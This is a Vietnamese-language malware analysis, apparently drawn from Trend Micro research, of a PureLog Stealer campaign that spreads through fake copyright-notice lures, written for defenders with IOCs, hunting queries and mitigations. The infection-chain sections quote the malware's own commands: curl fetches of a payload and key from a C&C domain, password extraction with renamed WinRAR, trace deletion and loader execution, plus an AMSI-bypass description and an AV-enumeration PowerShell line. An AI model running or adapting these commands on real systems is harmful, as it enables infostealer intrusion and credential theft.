# Chiến dịch PureLog Stealer -  Chuỗi Tấn Công Nhiều Giai Đoạn Nhắm Vào Các Ngành Trọng Yếu

Một file giả mạo thông báo vi phạm bản quyền đang được dùng để phát tán PureLog Stealer — một infostealer thương mại chi phí thấp nhưng được triển khai qua chuỗi tấn công đa tầng đáng lo ngại. Thay vì phân phối đại trà, chiến dịch này thể hiện rõ dấu hiệu của selective targeting: lure được bản địa hóa theo ngôn ngữ nạn nhân, payload mã hóa được tải từ C&C, và khóa giải mã được lấy động từ server riêng biệt.

**Đối tượng bị ảnh hưởng:** Tổ chức trong ngành y tế, chính phủ, khách sạn và giáo dục tại Đức, Canada, Mỹ và Úc. Chiến dịch cũng lạm dụng Google Ads malvertising song song với phishing email để phân phối payload.

**Rủi ro cốt lõi:** PureLog Stealer thu thập credential Chrome, extension trình duyệt, ví crypto và thông tin hệ thống — toàn bộ thực thi trong memory, không ghi file lên disk, khiến nhiều giải pháp AV truyền thống bỏ sót.

**Hành động ưu tiên ngay:** Block các domain C&C đã xác định, bật behavioral detection trên endpoint, và hunt proactively với query `detectionName:*PURELOGSSTEALER*` trong SIEM/EDR.

* * *

## Tổng quan chiến dịch

PureLog Stealer vốn được biết đến là infostealer "entry-level" — giá rẻ, dễ dùng, thường được các threat actor ít kinh nghiệm khai thác. Điều làm chiến dịch này khác biệt không phải là bản thân payload, mà là delivery chain được thiết kế kỹ lưỡng bất thường cho một công cụ "low-cost".

Kỹ thuật này không phải ngẫu nhiên — nó tăng đáng kể tỷ lệ người dùng thực thi file vì lure trông "đúng ngữ cảnh" với môi trường làm việc của họ.

### Điểm kỹ thuật nổi bật

*   DLL sideloading khởi tạo execution
    
*   Payload mã hóa giả dạng file PDF
    
*   Khóa giải mã được lấy từ endpoint riêng của C&C (không hardcode trong malware)
    
*   WinRAR bị đổi tên thành file PNG dùng để giải nén
    
*   Python loader giải mã và thực thi PureLog Stealer hoàn toàn trong memory
    

* * *

## Chuỗi lây nhiễm chi tiết

![Hình 1. Chuỗi lây nhiễm đầy đủ của chiến dịch](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig1.png align="center")

*Hình 1. Chuỗi lây nhiễm đầy đủ của chiến dịch*

### Stage 1 — Người dùng thực thi lure file

Chuỗi lây nhiễm khởi động khi nạn nhân chủ động chạy file giả mạo. Không có exploit, không có zero-day — toàn bộ phụ thuộc vào social engineering. Executable sau đó gọi command interpreter:

```cmd
cmd.exe /c ...
```

### Stage 2 — Decoy document

Ngay lập tức, malware mở một file PDF "bình thường" để đánh lạc hướng người dùng:

```cmd
start "" ".\_\document.pdf"
```

Kỹ thuật này tạo cảm giác hành động của người dùng là hợp lệ — họ thấy một tài liệu hiện ra đúng như kỳ vọng khi click vào "thông báo vi phạm bản quyền".

### Stage 3 — Tải payload mã hóa

Malware tải payload từ C&C với một số kỹ thuật đáng chú ý:

```cmd
curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ" -o ".\_\invoice.pdf"
```

*   **Custom User-Agent** `curl/meow_meow`: không khớp với bất kỳ browser/tool hợp lệ nào — indicator đơn giản nhưng hữu ích cho network detection
    
*   `-k` (ignore TLS validation): cho phép dùng self-signed cert ở C&C
    
*   `-L` (follow redirect): linh hoạt thay đổi hosting location
    
*   File lưu dưới tên `invoice.pdf` nhưng thực chất là encrypted archive
    

### Stage 4 — Lấy khóa giải mã từ xa

Đây là điểm thiết kế thông minh nhất của chiến dịch. Thay vì embed password trong malware:

```cmd
curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ/key"
```

Response được capture vào biến `%i` trong command line. Thiết kế này có ba hệ quả:

1.  **Không có static password** → analyst không thể giải mã payload khi offline
    
2.  **Operator có thể rotate password per-victim** → mỗi ca nhiễm có thể được kiểm soát độc lập
    
3.  **Có thể vô hiệu hóa payload bất kỳ lúc nào** bằng cách xóa key endpoint
    

### Stage 5 — Giải nén bằng WinRAR đổi tên

```cmd
".\_\FILE_2025년_재직증명서_원본.png" x -p"%i" ".\_\invoice.pdf" "C:\Users\Public\" -y
```

File `.png` trên thực chất là WinRAR executable bị đổi tên, giải nén payload với password lấy động từ Stage 4. Extension `.png` không ảnh hưởng đến khả năng thực thi — Windows thực thi dựa trên PE header, không phải extension.

### Stage 6 — Xóa dấu vết

```cmd
del ".\_\invoice.pdf"
```

Xóa file archive mã hóa sau khi giải nén xong, giảm forensic artifacts trên disk.

### Stage 7 — Chuyển working directory

```cmd
cd "C:\Users\Public\Windows"
```

Thư mục `C:\Users\Public\Windows` không tồn tại mặc định trên Windows — đây là directory malware tự tạo. Tên gợi nhớ đến `C:\Windows` hợp lệ nhưng nằm dưới `Public`, không yêu cầu quyền admin để ghi.

### Stage 8 — Thực thi second-stage loader

```cmd
"C:\Users\Public\Windows\svchost.exe" "instructions.pdf"
```

Hai điểm cần lưu ý:

*   `svchost.exe` ở đây **không phải** Windows service host hợp lệ — đây là `python.exe` bị đổi tên
    
*   `instructions.pdf` là Python script bị obfuscate, đóng vai trò loader cho hai .NET executable tiếp theo
    

* * *

## Phân tích biến thể

Trend Micro xác định hai infection chain song song, chia sẻ cùng toolset nhưng có sự khác biệt rõ về operational security:

| Điểm khác biệt | Chain 2 (hoạt động trước) | Chain 1 (hoạt động gần đây hơn) |
| --- | --- | --- |
| Phân phối payload | Tải trực tiếp từ C&C `quickdocshare[.]com/DQ` | Đóng gói sẵn trong dropper |
| Khóa giải mã | Lấy động từ C&C `/DQ/key` — không lưu trên disk | Hardcode trong command line: `efvBE97W7Ke4RnZaDTXOJzgqa04EPfz9` |
| Thực thi cuối | `svchost.exe "instructions.pdf"` — logic trong binary | `svchost.exe -c "exec(base64...)"` — Python routine inline trong command |
| Phụ thuộc C&C | Cần C&C online — liên lạc 2 endpoint | Hoàn toàn offline sau khi dropper chạy |

Chain 2 phức tạp hơn về operational security (không để key trên disk, cần C&C active). Chain 1 đơn giản hơn nhưng key hardcode — dễ bị extract hơn. Sự tồn tại của hai chain cho thấy operator đang iterate và test các approach khác nhau.

* * *

## Phân tích instructions.pdf

Bất chấp extension `.pdf`, file này là Python script bị obfuscate nặng — mọi string đều Base64-encode, mọi hằng số đều ẩn sau biểu thức toán học nhiều hạng tử. Khi stripped toàn bộ noise, script triển khai 8 capability theo thứ tự thực thi xác định.

![Hình 11. Các capability của instructions.pdf](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig11.png align="center")

*Hình 11. Các capability của instructions.pdf*

### Capability 1: AMSI Bypass

Script vô hiệu hóa Windows Defender AMSI (Antimalware Scan Interface) trước khi load payload, thực hiện qua hai stage:

*   **Stage 1:** Patch entry point của `AmsiScanBuffer` với `MOV EAX, E_INVALIDARG + JMP` — function này sẽ luôn trả về "not malicious"
    
*   **Stage 2:** Scan forward từ entry point để tìm mọi conditional jump (JZ/JNZ) và thay bằng unconditional JMP — bypass vẫn hoạt động ngay cả khi Stage 1 bị partial detection
    

![Hình 12. Python code patch AMSI trong memory để bypass antivirus scanning](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig12.png align="center")

*Hình 12. Python code patch AMSI trong memory để bypass antivirus scanning*

### Capability 2: Reflective .NET Assembly Load qua COM/CLR

Sau khi vô hiệu AMSI, script load một .NET assembly mã hóa hoàn toàn trong memory. Quy trình:

1.  Bootstrap .NET CLR bằng raw COM vtable calls
    
2.  Construct SAFEARRAY chứa decrypted assembly bytes
    
3.  Gọi `AppDomain.Load_3()` để reflectively load và execute payload
    

Không có file nào được ghi xuống disk tại bước này. Calling convention được chọn runtime dựa trên kiến trúc 32/64-bit.

![Hình 13. XOR-decrypted .NET payload được load và thực thi trong memory](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig13.png align="center")

*Hình 13. XOR-decrypted .NET payload được load và thực thi trong memory*

### Capability 3: Registry Persistence

Script tự cài vào autorun registry dưới current user's Run key:

```plaintext
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value name: "SystemSettings"
```

Tên `SystemSettings` mimics Windows component hợp lệ. Script xóa value cũ trước khi ghi để đảm bảo path luôn current — malware sẽ re-execute mỗi lần user đăng nhập.

![Hình 14. Python script thiết lập persistence](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig14.png align="center")

*Hình 14. Python script thiết lập persistence*

### Capability 4: Full-Screen Capture

Script chụp toàn bộ desktop ở full resolution bằng Windows GDI API, xử lý raw 24-bit BGR pixel data, xây PNG file hoàn chỉnh trong memory — không dùng PIL/Pillow, không ghi file — sau đó Base64-encode để đưa vào JSON exfiltration payload.

![Hình 15. Desktop capture được convert thành PNG và Base64-encode để exfiltrate](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig15.png align="center")

*Hình 15. Desktop capture được convert thành PNG và Base64-encode để exfiltrate*

### Capability 5: Victim Fingerprinting

Trước khi exfiltrate screenshot, script thu thập:

*   Hostname của máy
    
*   Tên người dùng đang đăng nhập
    
*   Tên tất cả antivirus đang cài đặt (qua WMI `SecurityCenter2`)
    

```powershell
powershell -NoProfile -WindowStyle Hidden -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntivirusProduct | ForEach-Object { $_.displayName }"
```

Thông tin AV này phục vụ mục đích reconnaissance — xác định đây có phải high-value target không và lựa chọn payload tiếp theo phù hợp.

![Hình 16. Machine fingerprint thu thập từ hệ thống nạn nhân](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig16.png align="center")

*Hình 16. Machine fingerprint thu thập từ hệ thống nạn nhân*

### Capability 8: C&C Exfiltration qua HTTPS POST

Toàn bộ data được đóng gói JSON và gửi lên C&C qua HTTPS. Để tránh gửi trùng lặp sau mỗi lần boot (do persistence Run key), script kiểm tra registry key thứ hai:

```plaintext
HKCU\...\AppModel\StateRepository
Value: CacheVersion = 1337 (DWORD)
```

Sau lần exfiltrate thành công đầu tiên (HTTP 200), script ghi giá trị `1337` vào key này. Những lần chạy tiếp theo sẽ đọc key này và exit sớm nếu thấy `1337`.

![Hình 17. Screenshot và machine fingerprint được exfiltrate](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig17.png align="center")

*Hình 17. Screenshot và machine fingerprint được exfiltrate*

* * *

## Từ loader đến payload cuối: PureLog Stealer in-memory

Script `instructions.py` chứa hai .NET executable payload được XOR-encrypt và Base64-encode. Khi thực thi, script giải mã ra `Dgrfauysx.exe` và `Fsywsuac.exe`, launch cả hai đồng thời.

### Dual .NET Loader Design

Cả hai loader có cấu trúc giống nhau và đều được bảo vệ bởi ConfuserEx — obfuscator state-machine-based phân mảnh control flow qua hàng trăm switch-case branch. Pipeline giải mã:

1.  Gọi `ResourceManager.GetObject()` với resource name hardcode để lấy encrypted byte blob
    
2.  Giải mã blob bằng **TripleDES-CBC** (key và IV embed dưới dạng Base64 trong .NET `#US` heap)
    
3.  Decompress GZip stream ra .NET assembly trong memory
    
4.  Gọi `Assembly.Load()` — không ghi file nào xuống disk
    

**Thiết kế hai loader chạy song song** là redundancy mechanism: nếu một loader bị endpoint control chặn hoặc kill, loader kia vẫn độc lập deliver và execute PureLog Stealer. Cả hai dùng cùng C&C address và registry persistence key.

### PureLog Stealer — Thực thi hoàn toàn trong managed heap

Assembly được load bởi `Assembly.Load()` là PureLog Stealer, thực thi hoàn toàn trong managed heap của loader process. Không có file nào được ghi, khiến AV truyền thống scan file creation events không phát hiện được. Sau khi loader chuyển control, nó thực hiện `GC.Collect()` để xóa object của mình khỏi heap, chỉ để lại PureLog Stealer là .NET code duy nhất đang active.

![Hình 18. Chuỗi lây nhiễm đầy đủ đến PureLog Stealer](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig18.png align="center")

*Hình 18. Chuỗi lây nhiễm đầy đủ đến PureLog Stealer*

* * *

## Pivot artifacts và telemetry

### Download ban đầu

![Hình 2. Malicious lure được tải về từ nguồn không xác định qua Chrome](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/purelog-3a.png align="center")

*Hình 2. Malicious lure được tải về từ nguồn không xác định qua Chrome*

File ZIP ban đầu được tải về qua Chrome từ:

```plaintext
hxxps://cdn[.]eideasrl[.]it/Notice%20of%20Alleged%20Violation%20of%20Intellectual%20Property%20Rights_1770380091603[.]zip
```

### Process và persistence

![Hình 3. Malware thiết lập persistence trên hệ thống](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig3.png align="center")

*Hình 3. Malware thiết lập persistence trên hệ thống*

Python DLL và PYD files tạo dưới `C:\Users\Public\Windows\`:

```plaintext
C:\Users\Public\Windows\python314.dll
C:\Users\Public\Windows\DLLs\_ctypes.pyd
C:\Users\Public\Windows\DLLs\libffi-8.dll
C:\Users\Public\Windows\DLLs\_hashlib.pyd
C:\Users\Public\Windows\DLLs\libcrypto-3.dll
C:\Users\Public\Windows\DLLs\_socket.pyd
C:\Users\Public\Windows\DLLs\_ssl.pyd
C:\Users\Public\Windows\DLLs\libssl-3.dll
```

### Antivirus enumeration

![Hình 4. Antivirus enumeration trên hệ thống nạn nhân](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig4.png align="center")

*Hình 4. Antivirus enumeration trên hệ thống nạn nhân*

### Process injection

![Hình 5. Process injection attempt nhắm vào svchost.exe](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig5.png align="center")

*Hình 5. Process injection attempt nhắm vào svchost.exe*

### Machine fingerprint

![Hình 7. CyberChef recipe để extract machine fingerprint](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig7.png align="center")

*Hình 7. CyberChef recipe để extract machine fingerprint*

![Hình 8. Machine fingerprint sau khi decode](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig8.png align="center")

*Hình 8. Machine fingerprint sau khi decode*

| Field | Giá trị quan sát | Diễn giải |
| --- | --- | --- |
| 1.1.1 | FD16FECEDAB57B025AB53AD9CA4C882F | Machine/session unique ID |
| 1.1.4 | Windows Defender, Trend Micro Apex One | Sản phẩm bảo mật đang cài |
| 1.1.5 | Windows 11 64Bit | Phiên bản OS |
| 1.1.6 | 4.3.0 | Phiên bản malware/agent |
| 1.1.10 | 64.40.154.96 | External IP của máy nạn nhân |
| 1.1.15 | C:\\Users\\Public\\Windows\\svchost.exe | Path executable đáng ngờ |

### C&C attribution

![Hình 10. VirusTotal liên kết IP 166.0.184.127 với PureLog Stealer](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig10.png align="center")

*Hình 10. VirusTotal liên kết IP 166.0.184.127 với PureLog Stealer, instructions.pdf được quan sát giao tiếp với C&C server này*

### GZip payload và decoding

![Hình 6. Trend Micro Vision One telemetry cho thấy GZip Payload](https://www.trendmicro.com/content/dam/trendmicro/global/en/research/26/c/purelog-stealer/fig6.png align="center")

*Hình 6. Trend Micro Vision One telemetry cho thấy GZip Payload*

Payload fingerprint được decode theo pipeline:

1.  **Base64 Decode** chuỗi ban đầu
    
2.  **GZip Decompress** ra dữ liệu có GZip header
    
3.  **Protobuf Deserialize** theo schema Protocol Buffers
    

* * *

## Nhận định

Chiến dịch này minh họa một trend đáng quan ngại trong infostealer ecosystem: threshold kỹ thuật để triển khai multi-stage fileless attack đang ngày càng thấp. PureLog Stealer là công cụ low-cost, nhưng delivery chain ở đây có độ tinh vi ngang với nhiều APT campaign — infrastructure-controlled decryption, dual-loader redundancy, reflective CLR loading, và anti-forensics tích hợp ngay trong loader.

Điểm đặc biệt cần lưu ý: thiết kế "khóa giải mã từ xa" không chỉ cản trở phân tích mà còn cho phép operator tắt toàn bộ campaign ngay lập tức bằng cách đơn giản là xóa key endpoint. Điều này đồng nghĩa với việc incident responder có thể không thu thập được payload ngay cả khi đã có sample của các stage trước — đúng như Trend Micro gặp phải khi không thể lấy `instructions.pdf` trong lần response đầu.

Từ góc độ SOC, việc này nhấn mạnh tại sao memory forensics và network telemetry quan trọng hơn disk artifact. Trong môi trường fileless, các chỉ số đáng tin cậy nhất không phải là file hash mà là: network connection pattern (custom User-Agent, domain pattern), in-memory .NET assembly load, và bất thường trong registry Run key.

Việc chiến dịch kết hợp cả phishing email lẫn Google Ads malvertising cũng đáng lưu ý — nó mở rộng attack surface ra ngoài inbox, bao gồm cả người dùng tìm kiếm trên Google. Các tổ chức chỉ training nhân viên về "đừng click link trong email" chưa đủ bao phủ vector này.

* * *

## Khuyến nghị

### Immediate (0–24h)

*   Block các C&C domain và IP đã xác định trên firewall/proxy:
    
    ```plaintext
    quickdocshare[.]com
    dq[.]bestshoppingday[.]com
    logs[.]bestshopingday[.]com
    mh[.]bestshopingday[.]com
    logs[.]bestsaleshoppingday[.]com
    166[.]0[.]184[.]127
    ```
    
*   Tìm kiếm custom User-Agent `curl/meow_meow` trong proxy log và network flow — đây là indicator đơn giản nhưng khá độc nhất, ít false positive
    
*   Kiểm tra registry key `HKCU\...\Run` với value name `SystemSettings` trỏ đến path không nằm trong `C:\Windows\System32\`
    

### Short-term (1–7 ngày)

*   Chạy hunting query trên toàn bộ fleet:
    
    ```plaintext
    detectionName:*PURELOGSSTEALER*
    ```
    
*   Hunt thêm với pattern file system:
    
    ```plaintext
    endpointHostName:[TARGET] AND ("*document.pdf*" OR "*instructions.pdf*" OR "*invoice.pdf*")
    ```
    
*   Kiểm tra process list tìm `svchost.exe` chạy từ path ngoài `C:\Windows\System32\` — đặc biệt trong `C:\Users\Public\`
    
*   Review alert về `Assembly.Load()` từ process không phải .NET IDE hay development tool
    
*   Train người dùng nhận diện lure vi phạm bản quyền — không chỉ qua email mà cả qua search result/ads
    

### Long-term

*   Triển khai behavioral detection cho in-memory .NET loading pattern — rule trigger trên `AmsiScanBuffer` patch attempt hoặc `AppDomain.Load_3()` call từ process không thuộc whitelist
    
*   Xem xét script-level logging (PowerShell Script Block Logging + AMSI logging) để capture obfuscated script execution
    
*   Với tổ chức có môi trường y tế hoặc chính phủ: ưu tiên review network egress rule, đặc biệt cho các request với User-Agent pattern bất thường hoặc curl-based download từ endpoint không thuộc whitelist
    

* * *

## Hunting Queries & IOC

### Trend Micro Vision One

```plaintext
detectionName:*PURELOGSSTEALER*
```

### SIEM generic (Elastic/Splunk syntax)

```plaintext
# Network: custom curl User-Agent
user_agent:"curl/meow_meow"

# File system: svchost.exe ngoài System32
file.path:"C:\Users\Public\Windows\svchost.exe"

# Registry persistence
registry.key:*CurrentVersion\Run* AND registry.value.name:SystemSettings

# Process: Python giả dạng svchost
process.name:svchost.exe AND process.executable:*Public*
```

### Hashes (SHA256)

| File | SHA256 |
| --- | --- |
| Malicious ZIP (lure) | `35efc4b75a1d70c38513b4dfe549da417aaa476bf7e9ebd00265aaa8c7295870` |
| ADNotificationManager.exe (lure EXE) | `1539dab6099d860add8330bf2a008a4b6dc05c71f7b4439aebf431e034e5b6ff` |
| urlmon.dll (shellcode loader) | `ac591adea9a2305f9be6ae430996afd9b7432116f381b638014a0886a99c6287` |

### svchost.exe (Python renamed) — SHA1

```plaintext
f4532fc1e5d53a732fcc883f7125ceb06b985048
```

### IP và Domain

```plaintext
Domains:
  quickdocshare[.]com
  dq[.]bestshoppingday[.]com
  logs[.]bestshopingday[.]com
  mh[.]bestshopingday[.]com
  logs[.]bestsaleshoppingday[.]com

IP Addresses:
  166[.]0[.]184[.]127  — PureLog Stealer C&C
  64[.]40[.]154[.]96   — Tier.Net Technologies LLC
  172[.]64[.]80[.]1    — Cloudflare (CDN, thấp giá trị)
```

* * *

*Nguồn tham khảo*:

- [ Lures Mask a Multi-Stage PureLog Stealer Attack on Key Industries](https://www.trendmicro.com/en_us/research/26/c/copyright-lures-mask-a-multistage-purelog-stealer-attack.html) — Trend Micro Research
- [Don't Judge a PNG by Its Header: PURELOGS Infostealer Analysis](https://www.swisspost-cybersecurity.ch/news/purelogs-infostealer-analysis-dont-judge-a-png-by-its-header) — Swiss Post Cybersecurity
- [Attackers Hide Infostealer in Copyright Infringement Notices](https://www.darkreading.com/cyberattacks-data-breaches/attackers-hide-infostealer-copyright-infringement-notices) — Dark Reading
- [Inside the Infostealer Economy: Credential Threats in 2025](https://www.recordedfuture.com/blog/identity-trend-report-march-blog) — Recorded Future
- [Agentic Attack Chains Advance as Infostealers Flood Criminal Markets](https://www.helpnetsecurity.com/2026/03/12/agentic-attack-chains-infostealers-criminal-markets/) — Help Net Security / Flashpoint
